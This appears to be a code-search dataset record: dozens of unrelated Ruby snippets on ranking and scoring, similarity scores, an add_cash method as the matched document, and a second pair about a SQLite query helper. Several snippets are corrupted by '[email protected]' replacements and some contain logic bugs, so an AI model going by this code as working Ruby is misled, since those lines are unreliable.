"def week_score(user_id)\n @current_user=User.find(user_id)\n @week_questions=Question.show_for_current_week\n @week_score=Array.new\n @week_leaderboard=Array.new\n User.all.each do |u|\n @questions=Array.new\n @week_questions.all.each do |q|\n @questions<<(Response.find_all_by_question_id(q.id) & Response.find_all_by_user_id(u.id))\n end\n @[email protected]!\n @week_score<<@questions.map { |i| (i.points) }.delete_if { |x| x == nil }.sum\n @week_leaderboard<<{:user_id=>u.id,:score=>@questions.map { |i| (i.points) }.delete_if { |x| x == nil }.sum}\n if (u==@current_user)\n @[email protected] { |i| (i.points) }.delete_if { |x| x == nil }.sum\n @[email protected] { |i| (i.points) }.delete_if { |x| x == nil }\n end\n end\n @week_rank= @week_score.sort().reverse.index(@week_points)+1 rescue ''\n end",
"def rank=(value)\n @rank = value\n end",
"def ranks\n @teams = Team.where(\"wins > 0\t\").order(win_percentage: :desc)\n end",
"def sogou_rank(wd)\n\tpage = Query::Engine::Sogou.query(wd)\n\tranks = page.seo_ranks\n\n\tranks.each do |rank|\n\t\tif rank[:text].include? \"艺龙\"\n\t\t\tputs \"艺龙搜索结果在搜狗中排名第#{rank[:rank]}\"\n\t\t\tbreak\n\t\tend\n\tend\nend",
"def rank_index\n RANKS.keys.index(@rank)\n end",
"def rank_to_h\n\t\t\trank_to_s.gsub('Rank', '').downcase\n\t\tend",
"def rank(locations, center, userList)\n @points = []\n locations.each do |location|\n @points.push({\"id\" => location.id, \"lat\" => location.lat, \"lng\" => location.lng})\n end\n\n #Compute time from each user to all points\n userList.each do |user|\n if user.latitude && user.longitude\n request = {\n \"format\" => \"json\",\n \"api_id\" => API_ID,\n \"api_key\" => API_KEY,\n \"origin\" => { \"lat\" => user.latitude, \"lng\" => user.longitude },\n \"travel_time\" => \"36000\",\n \"mode\" => \"driving\",\n \"points\" => @points\n }.to_json\n url = 'http://api.igeolise.com/time_filter'\n user.times = ActiveSupport::JSON.decode(RestClient.post(url, request, :content_type => :json, :accept => :json))\n user.times.each do |result|\n @points.select { |p| p[\"id\"] = result.id }.totalTime += result.time\n end\n else\n user.times = [];\n end\n end\n\n #Compute average time to each point\n @points.each do |point|\n point.averageTime = point.time / userList.count\n end\n\n #Compute sum of squares of the difference of usertime and averagetime\n @points.each do |point|\n @userList.each do |user|\n timeForUser = user.times.select { |p| p[\"id\"] = point.id}.time\n point.totalSquareTime += (timeForUser - point.averageTime)^2\n end\n end\n\n\n #Maybe check if place is open using google api?\n\n #Sort points by min totalSquareTime\n @points.sort! { |a,b| a.totalSquareTime <=> b.totalSquareTime }\n end",
"def ranked_points\n points.to_f/User.top_ranked.points.to_f * 100\n end",
"def rank_actors \n top_actors.inject([]) do |sorted, element|\n sorted << if sorted.last and sorted.last[:count] == element.last[:count]\n { :actor => element.first, :count => element.last[:count], :rank => sorted.last[:rank] }\n else\n { :actor => element.first, :count => element.last[:count], :rank => sorted.length + 1 }\n end\n end\n end",
"def tokenizer_ranking_row_result_position\n TokenExtractor.new(\n :result_position,\n /(?<rank>\\s*(\\d{1,3}|\\s*)(?=(\\)|\\s)\\s{2}\\d{3}))/i,\n #/(\\)|\\s)\\s{2}\\d{3}\\s+\\w+/i\n 2\n )\n end",
"def what_rank\n 10 - all_ranks.find_index{ |truth| truth != 2014} \n end",
"def rank_priority_questions\n @user_priorities = UserPriority.where(user_id: current_user.id)\n end",
"def rank\n created_utc = T.must(self.created_utc)\n month = \"#{created_utc.year}-#{created_utc.month}\"\n top_100 = Post.top_100_for_month(month)\n # byebug\n if top_100.find_by(id: id).present?\n top_100.pluck(\"id, RANK() OVER(ORDER BY score DESC)\").to_h[id]\n end\n end",
"def _user_reference_ranking(text, profile)\n user_references = text.split(WORD_DELIMITER).find_all do |word|\n word.match(/^@/)\n end\n \n return 100 if user_references.size == 0\n\n user_references.inject(0) do |ranking, user|\n ranking + (profile.user_mentions.has_key?(user) ? (100 / user_references.size) : 0)\n end\n end",
"def get_rank\n hash = Hash[UserGame.for_game(self.game.id).by_portfolio_value.map.with_index.to_a]\n if hash[self] == 0\n return 1\n else\n x = hash[self]\n while x > 0 && hash.key(x).get_portfolio == hash.key(x-1).get_portfolio\n x -= 1\n end\n return x + 1\n end\n end",
"def start_score(query)\n rank_username(query)\n end",
"def compute_user_rate(user)\n user_rate = Hash.new(0)\n user_movies = @data.select { |item| item[0].to_i == user }.each { |item| user_rate[item[1].to_i] = item[2].to_i }\n user_rate\n end",
"def get_rank\n list = self.tournament.rounds.to_a;\n #this list will be chronological already\n\n i = 0;\n while list[i].id != self.id\n i = i + 1;\n end\n return (i + 1);\n end",
"def rank\n unless player.nil?\n series.rank_of player\n else\n 0\n end\n end",
"def get_rank(player, index)\n player.deck.rank_of_card_at(index)\n end",
"def get_recommended_items(data, item_sim, user)\n user_rating = data[user]\n scores = {}\n total_sim = {}\n\n user_rating.each do |item, rating|\n item_sim[item].each do |similarity, item2|\n if user_rating[item2].nil?\n # weighted sum of rating times similarity\n scores[item2] ||= 0\n scores[item2] += similarity*rating\n\n # sum of all similarities\n total_sim[item2] ||= 0\n total_sim[item2] += similarity\n end\n end\n end\n\n rankings = scores.collect do |item, score|\n [score/total_sim[item], item]\n end\n rankings.sort!\n rankings.reverse! \n end",
"def show\n @user_rank = UserRanks.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_rank }\n end\n end",
"def parse_score_leaders()\n users = []\n $redis.scan_each(:match => \"user_score:*\"){ |key| user_id = key.gsub(\"user_score:\", \"\"); users << { :user_id => user_id, :score => get_user_score(user_id), :user_name => get_slack_name(user_id) } }\n finalists = []\n if users.size > 0\n users.each do |user|\n if user[:score] >= 1\n finalists.push(user)\n end\n end\n finalists = finalists.uniq{ |f| f[:user_id] }.sort{ |a, b| b[:score] <=> a[:score] }.slice(0, 100)\n end\n finalists\nend",
"def index\n @user_ranks = UserRanks.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @user_ranks }\n end\n end",
"def get_ranking_of_targets(seed_groups, score_matrix, node_names)\t\n\ttarget_ranks = [] # Obtain result info per each target\n\tseed_groups.each do |target, seeds_coords|\t\t\n\t\tt_indx = node_names.index(target) # Find target position\n\t\tnext if t_indx.nil? # Check\n\t\tranked_list = get_ranked_list(score_matrix, seeds_coords) # Rank for this target\n\t\ttarget_rank = get_position_element(ranked_list, t_indx)\n\t\ttarget_ranks << target_rank if !target_rank.nil? # Add new target rank\n\tend\n\treturn target_ranks\nend",
"def navy_rank; end",
"def show\n @users = User.all\n find_ranking(@task)\n end",
"def ranking\n Player.order('rating DESC').select(:id).map(&:id).index(id) + 1\n end",
"def print_reindeer_ranking\n puts @reindeer_ranking\n end",
"def rank\n return inv + neg + nsp\n end",
"def reindeer_ranking\n\t\t\treindeer = [\"Rudolph\", \"Dasher\", \"Dancer\", \"Prancer\", \"Vixen\", \"Comet\", \"Cupid\", \"Donner\", \"Blitzen\"]\n\t\tend",
"def ranking\n Player.order('rating DESC').select(:id).map(&:id).index(self.id) + 1\n end",
"def set_rank\n RANKS_HASH.each do |rank, range|\n update_column(:singles_rank, rank.to_s.humanize) if singles_points&.between?(range.first, range.last)\n update_column(:doubles_rank, rank.to_s.humanize) if doubles_points&.between?(range.first, range.last)\n update_column(:womens_singles_rank, rank.to_s.humanize) if womens_singles_points&.between?(range.first, range.last)\n update_column(:womens_doubles_rank, rank.to_s.humanize) if womens_doubles_points&.between?(range.first, range.last)\n end\n end",
"def ranked(summoner_id, season = nil)\n stats = get(resource_path('ranked', summoner_id), @version, season: season)\n RiotGamesApi::LOL::Model::Stats::RankedStats.new stats\n end",
"def index\n @users = User.all\n @users = User.order(\"rank ASC\").paginate(page: params[:page], :per_page => 20)\n end",
"def update_user_rank\n\n\t\tif self.admin?\n\t\t\tself.rank = Rank.admin\n\t\telse\n\t\t\tself.rank = nil\n\t\t\tRank.where(system: false).order('requirement ASC').each do |rank| \n\t\t\t\tif self.posts.count >= rank.requirement\n\t\t\t\t\tself.rank = rank\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\tself.save\n\tend",
"def calculate_result_ranks(round_id)\n puts \"calculate_result_ranks(#{round_id})\"\n\n rank = 1\n num_ties = 0\n prev_score = -1\n results = Result.all.where(round_complete: true).where(\"round_id = ?\",round_id).order(points: :desc).each{ \n |t| \n if (t.points == prev_score)\n num_ties += 1\n else\n num_ties = 0\n end\n t.update(rank: rank - num_ties); \n rank += 1; \n prev_score = t.points\n }\n end",
"def user_list\n @user_ratings.map(&:user_id).sort\n end",
"def ranked_candidates\n Array(@ranking - [UNRANKED_ID]).flatten.sort\n end",
"def get_university_rank(text)\n rank = nil\n nu_count = text.downcase.scan(/northwestern university/).count\n @universities.reverse.each_with_index do |u, i|\n if text.downcase.include?(u.downcase)\n rank = 500 - i\n end\n if rank != nil\n if rank > 30 && nu_count > 1\n rank = 30\n end\n elsif nu_count > 1\n rank = 30\n end\n end\n return rank\nend",
"def rank(prog); @ranks[prog]; end",
"def rankval ( rank )\n if rank.is_a? Numeric\n return rank\n elsif rank ==\"J\"\n return (11)\n elsif rank ==\"Q\"\n return (12)\n elsif rank ==\"K\"\n return (13)\n elsif rank ==\"A\"\n return (14)\n end\t #if\nend",
"def to_i\n @rank\n end",
"def to_s\r\n # \"#{@title} has a rank of #{normalized_rank}\"\t\r\n \"#{@title} has a rank of #{@rank}(#{status})\"\t\r\n end",
"def rank\n message = PongBot::Messages.player_rankings_message\n return message\n end",
"def display_score score, rank\r\n\r\n end",
"def ranking(opts={})\r\n Rakuten::Request.get(\"https://app.rakuten.co.jp/services/api/IchibaItem/Ranking/20120927\", Rakuten::Api.merge(opts))\r\n end",
"def player_legend_ranks\n players.map {|p| p.attr(\"legendRank\") }\n end",
"def ranking\n reindeer_hash = {}\n reindeer_arr = []\n puts \"Please rank reindeer with \\n numerical value 1 to 9\\n 1 being most favorite\\n 9 being least.\\n\"\n @reindeer_ranking.each do |reindeer|\n p reindeer\n reindeer_hash[reindeer] = gets.to_i\n end\n @reindeer_ranking = reindeer_hash\n p \"#{@name} Your favorite reindeer is #{@reindeer_ranking.key(1)}\"\n reindeer_hash.sort_by {|key, value| value }\n @reindeer_ranking.each do |key, value|\n reindeer_arr.insert(value - 1, key)\n end\n @reindeer_ranking = reindeer_arr.compact!\n puts\n end",
"def set_relative_rank\n ranked_week_calculations_for_season = PlayerCalculation.for_user(@player_calculation.user_id).rank_by_weekly_load # .for_season(@player_calculation.season)\n i = ranked_week_calculations_for_season.length\n ranked_week_calculations_for_season.each do |calc|\n calc.update(season_rank: i)\n calc.save!\n i = i - 1\n end\n return\n end",
"def defineRanks\n\t\t#Recalculate ranking stats for all trainers \n\t\tTrainer.all.each do |trainer|\n\t\t\t#Gathering data\n\t\t\t@trainerPokemonCaughtCount = trainer.pokemons.where('huntstates.caught = 1').count\n\t\t\t@trainerPokemonSeenCount = trainer.pokemons.count\n\t\t\t@badgesCount = trainer.badges.count\n\t\t\t@points = @trainerPokemonCaughtCount * @trainerPokemonSeenCount * (@badgesCount + 1)\n\n\t\t\t#Build params for update OR create trainer's rank\n\t\t\t@paramsCreateUpdate = {\n\t\t\t\t:pokemon_viewed => @trainerPokemonSeenCount,\n\t\t\t\t:pokemon_caught => @trainerPokemonCaughtCount,\n\t\t\t\t:badges_count => @badgesCount,\n\t\t\t\t:total_points => @points \n\t\t\t}\n\n\t\t\t#Create/Update trainer's rank\n\t\t\tif trainer.rank != nil\n\t\t\t\ttrainer.rank.update(@paramsCreateUpdate)\n\t\t\telse \n\t\t\t\ttrainer.create_rank(@paramsCreateUpdate)\n\t\t\tend \n\t\tend\n\n\t\t#Determine position for each rank\n\t\t@i = 1\n\t\t@pointsPrevious = 0\n\t\t@decalage = 0\n\t\t@ranksOrderedByPoints = Rank.all.order(\"total_points desc\")\n\n\t\[email protected] do |rank|\n\t\t\tif @i!= 1 && rank.total_points == @pointsPrevious\n\t\t\t\t@decalage = @decalage + 1\n\t\t\tend\n\t\t\t@paramsPosition = { :position => (@i - @decalage)}\n\t\t\trank.update(@paramsPosition)\n\t\t\t@pointsPrevious = rank.total_points \n\t @i = @i + 1\n\t\tend\n\tend",
"def ranking(limit=4)\n return [] unless self.votes ## empty array if no ranks\n self.votes.map.sort {|x, y| y[1] <=> x[1] }.collect {|y| y[0] }[0..limit]\n end",
"def rankings(result_hash)\n @rankings ||= {}\n @rankings.fetch(result_hash) do\n common_columns = %w{metric}\n granularities = %w{file_path class_name method_name}\n tool_analyzers = MetricFu::Hotspot.analyzers\n analyzer_columns = common_columns + granularities + tool_analyzers.map(&:columns).flatten\n\n analyzer_tables = MetricFu::AnalyzerTables.new(analyzer_columns)\n tool_analyzers.each do |analyzer|\n analyzer.generate_records(result_hash[analyzer.name], analyzer_tables.table)\n end\n analyzer_tables.generate_records\n rankings = MetricFu::HotspotRankings.new(analyzer_tables.tool_tables)\n rankings.calculate_scores(tool_analyzers, granularities)\n @rankings[result_hash] = rankings\n rankings\n end\n end",
"def predict(user_id, movie_id)\n prediction = 0\n most_similar_users = @the_data.most_similar(user_id)\n #find first user who has rated movie_id\n most_similar_users.each do |u, ranking|\n #we want the first user in most_similar_users who rated movie_id\n if @the_data.users[u].ratings[movie_id] != nil\n prediction = @the_data.users[u].ratings[movie_id]\n break\n end\n end\n return prediction\n end",
"def custom_popularity(popularity, tracker_count)\n popularity *= self.rank if self.rank.present?\n\n return popularity, tracker_count\n end",
"def rank_in(group)\n group_players = group.group_players.where(\"points > ? and player_id != ?\", self.points_in(group), self.id)\n players = group_players.map { |gp| gp.player }\n players.count + 1\n end",
"def get_user_score(user)\n\t\ttotal = 0\n\t\tmy_genres_array = user[:favorite_genres].split(\"|\")\n\n\t\ttotal += self.get_score\n\t\ttotal += self.genre_bonus(my_genres_array)\n\t\ttotal += self.old_movie_bonus(user)\n\t\treturn total\n\tend"
] |
[
"0.6843636",
"0.6611518",
"0.6521465",
"0.6447582",
"0.6429373",
"0.6418296",
"0.6360341",
"0.63346153",
"0.6332309",
"0.6201148",
"0.61882585",
"0.61407214",
"0.6000644",
"0.59706384",
"0.59671324",
"0.59671324",
"0.59512514",
"0.5933594",
"0.5922736",
"0.59056056",
"0.5864935",
"0.58638537",
"0.586345",
"0.5857134",
"0.58440274",
"0.58354694",
"0.5802598",
"0.57891965",
"0.57747436",
"0.57694715",
"0.5747584",
"0.57201236",
"0.57131994",
"0.5712501",
"0.56956375",
"0.56933224",
"0.5668435",
"0.5667639",
"0.56593084",
"0.5655591",
"0.5654569",
"0.56361806",
"0.5635693",
"0.5631824",
"0.562902",
"0.5624933",
"0.5612524",
"0.5610729",
"0.56025934",
"0.5583557",
"0.5578671",
"0.5577963",
"0.55758697",
"0.55656505",
"0.55646455",
"0.55448234",
"0.5543136",
"0.55298895",
"0.55146533",
"0.55009234",
"0.548791",
"0.54808617",
"0.54577786",
"0.5449571",
"0.5445441",
"0.54432535",
"0.5441271",
"0.54396147",
"0.54370105",
"0.542625",
"0.5423433",
"0.5418829",
"0.541577",
"0.5414797",
"0.541451",
"0.5410553",
"0.53994346",
"0.53952813",
"0.5390031",
"0.5386396",
"0.5362018",
"0.5356032",
"0.5347888",
"0.53363895",
"0.53278834",
"0.5324713",
"0.5323",
"0.531761",
"0.5315758",
"0.531207",
"0.5309669",
"0.530372",
"0.53029895",
"0.5296809",
"0.529645",
"0.5293464",
"0.52925795",
"0.5286205",
"0.52844155",
"0.5282496"
] |
0.7611172
|
0
|
add amount euros to users balance
|
def add_cash(amount)
transaction = Transaction.new
transaction.transaction_type_id = 1
transaction.seller_id = self.id
transaction.price = Setting.first.exchange_rate
transaction.amount = amount
transaction.save
self.update_portfolio
return transaction
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def add_to_balance\n self.user.balance += self.price\n self.user.save\n end",
"def add_amount(amount)\n @balance += amount\n end",
"def add_amount_to(transactions, value) \n transactions.each do |transaction|\n new_balance = transaction.account_balance + value\n transaction.update(:account_balance => new_balance)\n end\n end",
"def add_money\n @total += fee\n end",
"def deposit(amount)\n @balance += amount\n end",
"def deposit(amount)\n @balance += amount\n end",
"def deposit(amount)\n @balance += amount\n end",
"def add_to_bank\n @user.balance -= 10\n @croupier.balance -= 10\n @bank = 20\n end",
"def add_credit\n#\t\tcurrent_user.update(balance: current_user.balance + params[:amount])\n\tend",
"def deposit(amount)\n @balance += amount\n end",
"def deposit(amount)\n @balance += amount\n end",
"def deposit(amount)\n @balance += amount\n end",
"def deposit(amount)\n @balance += amount\n end",
"def deposit(amount)\n @balance += amount\n @balance\n end",
"def deposit(amount)\n result = BigDecimal.new(balance) + BigDecimal.new(amount)\n update_attributes(balance: result)\n end",
"def deposit_cash(deposit_amount)\n @balance += deposit_amount\n end",
"def update_purchase_balance\n update(balance: financial_transactions.sum(:total_amount))\n end",
"def deposit(money)\n @balance += money\nend",
"def deposit(deposit_amount)\n self.balance += deposit_amount\n end",
"def deposit(amount)\n @balance = @balance + amount\n end",
"def deposit(name, amount)\n find_account(name)[:balance] += amount\n end",
"def deposit(user, amount)\n user.with_lock do\n user.my_wallet.balance += amount.to_f\n user.my_wallet.save!\n end\n end",
"def actualizar_balance\n @cuenta_general = Sistema::Usuario.find_by(\n numero_cuenta: Finanzas::Transaccion::CUENTA_GENERAL\n )\n @cuenta_general.update_attribute :balance, @cuenta_general.balance.to_f + @deposito.comision\n @usuario.update_attribute :balance, @usuario.balance.to_f + @deposito.monto\n end",
"def deposit(amt)\n @bank_acct += amt\n puts \"Your balance is #{@bank_acct}.\"\n end",
"def deposit(amount)\n self.balance = (self.balance + amount).round(2)\n self.save!\n end",
"def update_user\n user.financial_status = user.transactions.pluck(:amount).inject(0.0, &:+)\n user.save\n end",
"def deposit(money_to_deposit)\n @balance += money_to_deposit\n end",
"def deposit(cash)\n @balance += cash\n end",
"def deposit(money)\n self.balance = (self.balance + money)\n end",
"def update_user_balance\n user.decrement(:loyalty_points_balance, loyalty_points)\n user.save!\n end",
"def deposit(deposit_amount)\n self.balance += deposit_amount\n end",
"def add_money\n\t\t# get current user's money\n \t@user = current_user\n\t\t@money = @user.money\n\t\t# get refill limit\n\t\t@allowed = @user.money_refill\n\n\t\t# if limit has not been reached, add money to account\n\t\tif @allowed > 0\n\t\t\[email protected] = @money + 1000\n\t\t\[email protected]_refill = @allowed - 1\n\t\t\[email protected]\n\t\t\tgflash :success => \"Money Successfully Transferred to your account!\"\n\t\t\tredirect_to :action => 'profile', :username => @user.login\n\t\telse\n\t\t\t# otherwise flash pop up regarding depleted money reserve\n\t\t\tgflash :error => \"You have depleted your money reserve.\"\n\t\t\tredirect_to :action => 'profile', :username => @user.login\n\t\tend\n end",
"def pay_in(balance)\n @balance += balance\nend",
"def add_to_balance(amount, payment_type='Manual')\n self.balance += amount\n if self.save\n exchange_rate = Currency.count_exchange_rate(Currency.get_default.name, currency.name)\n amount *= exchange_rate\n if payment_type == 'card_refill'\n tax_amount = 0\n else\n tax_amount = self.get_tax.count_tax_amount(amount)\n end\n payment = Payment.create_for_user(self, {:paymenttype => payment_type, :amount => amount, :tax => tax_amount, :shipped_at => Time.now, :date_added => Time.now, :completed => 1, :currency => currency.name})\n if payment.save\n return true\n else\n self.balance -= amount\n self.save\n return false\n end\n else\n return false\n end\n end",
"def update_total_balance\n\t\tself.update_attribute(:total_balance, self.purchases.sum('amount'))\n\t\tself.total_balance\n\tend",
"def increase_balance(amount)\n self.balance += amount\n save\n end",
"def add(cash)\n @current_balance = @current_balance + cash\n end",
"def update_value(quantity)\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# quantity == crypto value NOT USD\n\t\t# debugger\n\n\t\tif quantity > 0\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# BUY \n\t\t\tself.total_value = self.total_value + quantity\t\t\t# increment wallet value by quantity\n\t\telse \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# SELL\n\t\t\tself.total_value = self.total_value + quantity\t\t\t# quantity is Negative!! so adding, will decrement\n\t\tend\n\n\t\tsave!\n\tend",
"def balance_for(other_user)\n Money.new(all_balances[other_user.id], 'PLN')\n end",
"def withdraw(amount)\n @balance = @balance - amount\n end",
"def update_user_credits\n user.credits += credits - used_credit.to_f\n user.save\n end",
"def block_amount(amount)\n self.unavailable_balance += amount.to_d\n self.save!\n end",
"def deposit(amount)\n @balance += amount\n return @balance\n end",
"def deduct_wallet\n user = User::find(self.user_id)\n user.budget -= self.pending_money\n user.save\n\n self.pending_money = 0\n self.save\n end",
"def deposit(balance, amount)\n\tnew_balance = balance + amount\n\treturn new_balance\nend",
"def balance\n # accounts.reduce(0){|sum, account| sum + account.balance}\n accounts.sum{|account| account.balance} \n end",
"def withdraw(amount)\n @balance -= amount\n end",
"def remove_from_balance\n self.user.balance -= self.price\n self.user.save\n end",
"def deposit(amount)\n @balance += amount\n puts \"#{money_convert(balance)}\"\n return @balance\n end",
"def add_bet_amount(amount_added)\n @bet_amount = bet_amount + amount_added\n end",
"def withdraw(amount)\n amount += TRANSACTION_FEE\n super(amount)\n end",
"def withdraw(amount)\n amount += TRANSACTION_FEE\n super(amount)\n end",
"def deposit(amount_of_money)\n return @balance + amount_of_money\n end",
"def balance\n txns.inject(Amount::ZERO) { |sum, t| sum + t.amount }\n end",
"def edit_totals params\n current_user = params[:user]\n new_amount = BigDecimal.new(params[:amount].to_s)\n last_transaction = Transaction.last\n\n \n # If the user is not being updated, then\n # only the new amount is calculated and updated.\n if current_user == self.user\n difference = self.amount - new_amount\n case current_user \n when USERS.first\n total = last_transaction.total - difference\n when USERS.last\n total = last_transaction.total + difference\n end\n last_transaction.update({:total => total})\n end\n\n # If the user is being updated, then\n # the changed amount must be updated against\n # the other user.\n if current_user != self.user\n difference = new_amount + self.amount\n case current_user \n when USERS.first\n total = last_transaction.total + difference\n when USERS.last\n total = last_transaction.total - difference\n end\n last_transaction.update({:total => total})\n end\n end",
"def user_outstanding_balance(user)\n invoicable_reservations = reservations.where(user: user).invoicable\n invoicable_game_passes = game_passes.where(user: user).invoicable\n\n invoicable_reservations.map(&:outstanding_balance).sum.to_f +\n invoicable_game_passes.map(&:price).sum.to_f\n end",
"def add_interest(rate)\n @balance += balance * (rate/10)\n puts \"#{money_convert(balance)}\"\n return @balance\n end",
"def withdraw(amount)\n @balance -= amount\n end",
"def balance\n transactions.inject(:+)\n end",
"def pay_amount(user, amount)\r\n if(self.credits>= amount)\r\n self.credits= self.credits-amount\r\n user.receive_credits(amount)\r\n else\r\n return 'suddenly you dont have enough money'\r\n end\r\n end",
"def add_taxes(amt, good_tax, import_tax)\n amt += good_tax + import_tax\n amt.round(2)\n end",
"def deposit(deposit_amount)\n @amount+=deposit_amount\n puts @amount\n end",
"def console_add_money(amount)\n credits.create!(amount: amount, note: \"Admin added #{amount} cents\")\n end",
"def creditCoins(amount)\r\n @betESSCoins += amount\r\n end",
"def balance\n # accounts.reduce(0) {|sum, account| sum + account.balance}\n accounts.sum {|account| account.balance}\n\n # total = 0\n # accounts.each {|account| total += account.balance}\n # total\n end",
"def balance\n b = read_attribute(:balance)\n if User.current and User.current.currency\n b.to_d * User.current.currency.exchange_rate.to_d\n else\n b.to_d\n end\n end",
"def withdraw!(amount)\n amount = -amount if amount > 0\n add_transaction(amount)\n\n balance\n end",
"def update_balance\n if(@transaction.sender)\n @transaction.sender.balance -= @transaction.amount\n @transaction.sender.save\n end\n\n if(@transaction.receiver)\n @transaction.receiver.balance += Monetize.parse(convert(Money.new(@transaction.amount,findCurrency(@transaction.sender_id, @transaction.receiver_id, 'sent')), @transaction.receiver.currency)).fractional\n @transaction.receiver.save\n end\n end",
"def credit(amount)\n\t\t@revenue += amount\n\tend",
"def balance\n self.ledger_entries.sum(:value)\n end",
"def top_up(amount)\n if balance + amount > MAX_BALANCE_LIMIT\n raise \"Invalid amount, maximum balance limit is #{MAX_BALANCE_LIMIT}\"\n end\n @balance += amount\n end",
"def deposit(deposit_amt = 0)\n @balance = @balance + deposit_amt\n return @balance\n end",
"def add_to_income(db, user_name, dolla_dolla_bills_yall)\r\n\tnew_income_total = (dolla_dolla_bills_yall.to_i + current_income(db, user_name))\r\n\tchange_income = '\r\n\tUPDATE users \r\n\r\n\tSET actual_income = ?\r\n\tWHERE name = ?'\r\n\tdb.execute(change_income, [new_income_total, user_name])\r\nend",
"def reward\n business.add_to_balance(amount)\n end",
"def deposit(amount)\n amount = amount.abs\n @balance = @balance + amount\n one_transaction\n return @balance\n end",
"def balance\n balance = 0.00\n @transactions.each do | transaction|\n balance += transaction[:amount]\n end\n return balance\n end",
"def balance\n super\n end",
"def balance\n super\n end",
"def deposit(amount)\n if (balance < 10000) && (balance + amount >= 10000)\n @balance += amount\n else\n @balance += amount\n @transactions -= 1\n end\n end",
"def balance\n sum = 0\n @money.each do |k, v|\n sum += k * v\n end\n sum\n end",
"def deposit(money) #Creating a method called deposit for the 1st user story\n @balance = @balance + money #The instance of 'balance' get recreated everytime the deposit method is called\n end",
"def addbalance_params\n params.require(:addbalance).permit(:user_id, :amount)\n end",
"def gain(money)\n\t\tself.bank_amount += money\n\t\tself.save\n\tend",
"def total_balance\n return @checking_account_balance + @saving_account_balance\n end",
"def add_interest(rate = 0.25)\n interest = @balance * rate/100\n @balance += interest\n return interest\n end",
"def sum_amount\n Transaction.where(user_id: id).sum(:amount) - Withdrawal.where(user_id: id).sum(:amount)\n end",
"def update_balance(transaction)\n if transaction.succeeded?\n sign = transaction.payment? ? 1 : -1\n self.balance.update_attributes!(amount: (self.balance.amount + (transaction.amount * sign)))\n end\n end",
"def user_lifetime_balance(user)\n reservations_balance = reservations.where(user: user).sum(:price)\n game_passes_balance = game_passes.where(user: user).sum(:price)\n\n reservations_balance.to_f + game_passes_balance.to_f\n end",
"def withdraw(name, amount)\n a = find_account(name)\n a[:balance] < amount ? a[:balance] -= 30 : a[:balance] -= amount\n end",
"def account_balance\n balance = 0\n deposits.each {|deposit| balance += deposit.amount}\n\n transactions.each do |transaction|\n amount = transaction.price * transaction.num_shares\n transaction.order_type == 'BUY' ? balance -= amount : balance += amount\n end\n return balance.round(2)\n end",
"def balance\n @balance ||= starting_balance + transactions.inject(0) do |result, element|\n result + element.amount\n end\n end",
"def balances\n @user = User.all.sort_by{|u| u.balance }\n end",
"def allowance(amt.to_f)\r\n save.deposit(amt.to_f * 0.6)\r\n puts \"Save balance = $#{@balance}.\"\r\n spend.deposit(amt.to_f * 0.3)\r\n puts \"Spend balance = $#{@balance}.\"\r\n spare.deposit(amt.to_f * 0.1)\r\n puts \"Spare balance = $#{@balance}.\"\r\nend",
"def spend(amount)\r\n @spend += amount\r\n end",
"def add_money(value)\n @calculator.add_money value\n end",
"def gain_interest\n interest_amount = (@balance * @interest_rate) / 100\n @balance = interest_amount + @balance\n end",
"def fDebitCoinsFrom (email, amount)\n @users.debitCoinsFrom(email, amount)\n end",
"def deposit(amount)\n @balance += amount\n puts \"Deposit #{amount}. New Balance: $#{@balance}\"\n returned\n end",
"def deposit(amount_to_deposit)\n @balance += amount_to_deposit\n return @balance\n end",
"def deposit(amount_to_deposit)\n @balance += amount_to_deposit\n return @balance\n end",
"def user_lifetime_balance(user)\n reservations_balance = user_reservations(user).sum(:price)\n game_passes_balance = game_passes.where(user: user).sum(:price)\n participations_balance = participations.where(user: user).sum(:price)\n group_subscriptions_balance = group_subscriptions.where(user: user).sum(:price)\n\n reservations_balance.to_d +\n game_passes_balance.to_d +\n participations_balance.to_d +\n group_subscriptions_balance.to_d\n end"
] |
[
"0.780064",
"0.75906014",
"0.7387476",
"0.72898453",
"0.7242946",
"0.7242946",
"0.72421014",
"0.72095853",
"0.71704364",
"0.7146653",
"0.71444446",
"0.71444446",
"0.71444446",
"0.7140288",
"0.70852154",
"0.70716155",
"0.7060013",
"0.7027341",
"0.7006205",
"0.69975305",
"0.698702",
"0.6974417",
"0.6966329",
"0.6961166",
"0.69377625",
"0.6923099",
"0.69181764",
"0.69101584",
"0.68806434",
"0.68692416",
"0.6869032",
"0.6852091",
"0.6850019",
"0.68066365",
"0.680172",
"0.67884034",
"0.6786985",
"0.6718896",
"0.67117244",
"0.6691706",
"0.6676936",
"0.6659457",
"0.665914",
"0.6655722",
"0.66476655",
"0.66377443",
"0.6569875",
"0.6568638",
"0.6566045",
"0.65338653",
"0.6533549",
"0.6533549",
"0.65246403",
"0.6524492",
"0.65064204",
"0.65058666",
"0.64832157",
"0.6480728",
"0.6477133",
"0.6458246",
"0.6457004",
"0.64546597",
"0.64538056",
"0.64440656",
"0.64340794",
"0.64130616",
"0.64109915",
"0.6405946",
"0.63900656",
"0.6386127",
"0.6380343",
"0.6378359",
"0.6373633",
"0.6352683",
"0.6346109",
"0.6338046",
"0.63324016",
"0.63324016",
"0.632996",
"0.63297427",
"0.63222826",
"0.63152546",
"0.6310391",
"0.6305902",
"0.63047355",
"0.6303048",
"0.62966985",
"0.62905383",
"0.62865293",
"0.6286297",
"0.62837577",
"0.6276406",
"0.6274952",
"0.62730104",
"0.62664026",
"0.6260737",
"0.6256047",
"0.62539345",
"0.62435585",
"0.62435585",
"0.62424755"
] |
0.0
|
-1
|
get '/mountains' do "Hello World" end
|
def db_query(sql)
db = SQLite3::Database.new("database.db") #connect to database
db.results_as_hash = true
puts "="*100
p sql
# puts sql.red
puts "="*100
result = db.execute( sql )
db.close #close the connection
result #this is what this method returns
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def test\n get(\"/help/test\")\n end",
"def get(path, &block)\n route 'GET', path, &block\n end",
"def routes\n request :get, '/routes'\n end",
"def root\n get '/'\n end",
